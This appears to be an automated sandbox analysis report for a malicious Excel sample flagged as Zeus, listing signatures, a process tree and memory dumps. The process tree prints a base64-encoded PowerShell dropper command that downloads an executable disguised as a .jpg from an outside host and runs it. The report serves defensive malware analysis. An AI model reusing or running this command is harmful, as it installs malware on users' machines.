Analysis
- max time kernel
117s - max time network
136s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
- submitted
07/09/2024, 10:05
General
- Target d1adac78b93b9b531de6a2664a2c9c57_JaffaCakes118.xls
- Size 64KB
- Sample240907-l4jllayckk
- SHA256 ea0935dbf17b7a803cb63903d6d51920f965f4b204afe9d2e26607d4659f814e
Malware Config
Extracted
-
ps1
-
exe.dropper
https://a.doko.moe/nmfmyn.jpg
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Zeus
- Blocklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d1adac78b93b9b531de6a2664a2c9c57_JaffaCakes118.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cMD.execMD & /C PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAARABfAGUANABEAHcASwB0AHoAcABfAHQAdQBiAGwAIAAoACAAJABuAFcANQBDAGgARwB4AE0AaQBGAGQAWABNADgAVQBBAFgAYQB3AEoAOQBxACAALAAgACQAVwBUAG0ANgBjADQAYQBXAG4AZQBCADYAdwBIAHgAIAApAHsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACAAJABuAFcANQBDAGgARwB4AE0AaQBGAGQAWABNADgAVQBBAFgAYQB3AEoAOQBxACAALAAgACQAVwBUAG0ANgBjADQAYQBXAG4AZQBCADYAdwBIAHgAIAApADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBjAG8AbQAgAFMAaABlAGwAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgApAC4AUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAKAAgACQAVwBUAG0ANgBjADQAYQBXAG4AZQBCADYAdwBIAHgAIAApADsAIAB9AA0ACgB0AHIAeQB7AA0ACgANAAoAJABkAEoANQBfAGcAUABSAHUARgBaAEsASgBMAG0ANQBnADkANQBQAEoAPQAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAHMANwAyAHMALgBlAHgAZQAnADsADQAKAEQAXwBlADQARAB3AEsAdAB6AHAAXwB0AHUAYgBsACAAJwBoAHQAdABwAHMAOgAvAC8AYQAuAGQAbwBrAG8ALgBtAG8AZQAvAG4AbQBmAG0AeQBuAC4AagBwAGcAJwAgACQAZABKADUAXwBnAFAAUgB1AEYAWgBLAEoATABtADUAZwA5ADUAUABKADsADQAKAA0ACgB9AGMAYQB0AGMAaAB7AH0A2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAARABfAGUANABEAHcASwB0AHoAcABfAHQAdQBiAGwAIAAoACAAJABuAFcANQBDAGgARwB4AE0AaQBGAGQAWABNADgAVQBBAFgAYQB3AEoAOQBxACAALAAgACQAVwBUAG0ANgBjADQAYQBXAG4AZQBCADYAdwBIAHgAIAApAHsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACAAJABuAFcANQBDAGgARwB4AE0AaQBGAGQAWABNADgAVQBBAFgAYQB3AEoAOQBxACAALAAgACQAVwBUAG0ANgBjADQAYQBXAG4AZQBCADYAdwBIAHgAIAApADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBjAG8AbQAgAFMAaABlAGwAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgApAC4AUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAKAAgACQAVwBUAG0ANgBjADQAYQBXAG4AZQBCADYAdwBIAHgAIAApADsAIAB9AA0ACgB0AHIAeQB7AA0ACgANAAoAJABkAEoANQBfAGcAUABSAHUARgBaAEsASgBMAG0ANQBnADkANQBQAEoAPQAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAHMANwAyAHMALgBlAHgAZQAnADsADQAKAEQAXwBlADQARAB3AEsAdAB6AHAAXwB0AHUAYgBsACAAJwBoAHQAdABwAHMAOgAvAC8AYQAuAGQAbwBrAG8ALgBtAG8AZQAvAG4AbQBmAG0AeQBuAC4AagBwAGcAJwAgACQAZABKADUAXwBnAFAAUgB1AEYAWgBLAEoATABtADUAZwA5ADUAUABKADsADQAKAA0ACgB9AGMAYQB0AGMAaAB7AH0A3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_yekt0ch2.xa1.ps1
b8ab77100df80ab2.customDestinations-ms
memory/3944-18-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-16-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-5-0x00007FFF60C90000-0x00007FFF60CA0000-memory.dmp
memory/3944-2-0x00007FFF60C90000-0x00007FFF60CA0000-memory.dmp
memory/3944-10-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-11-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-9-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-8-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-12-0x00007FFF5EA70000-0x00007FFF5EA80000-memory.dmp
memory/3944-7-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-6-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-15-0x00007FFF5EA70000-0x00007FFF5EA80000-memory.dmp
memory/3944-14-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-13-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-17-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-19-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-3-0x00007FFFA0CAD000-0x00007FFFA0CAE000-memory.dmp
memory/3944-0-0x00007FFF60C90000-0x00007FFF60CA0000-memory.dmp
memory/3944-22-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-28-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-29-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-30-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-84-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-4-0x00007FFF60C90000-0x00007FFF60CA0000-memory.dmp
memory/3944-54-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-55-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-56-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-1-0x00007FFF60C90000-0x00007FFF60CA0000-memory.dmp
memory/3944-65-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-66-0x00007FFFA0C10000-0x00007FFFA0E05000-memory.dmp
memory/3944-80-0x00007FFF60C90000-0x00007FFF60CA0000-memory.dmp
memory/3944-81-0x00007FFF60C90000-0x00007FFF60CA0000-memory.dmp
memory/3944-83-0x00007FFF60C90000-0x00007FFF60CA0000-memory.dmp
memory/3944-82-0x00007FFF60C90000-0x00007FFF60CA0000-memory.dmp
memory/4784-36-0x0000024956010000-0x0000024956032000-memory.dmp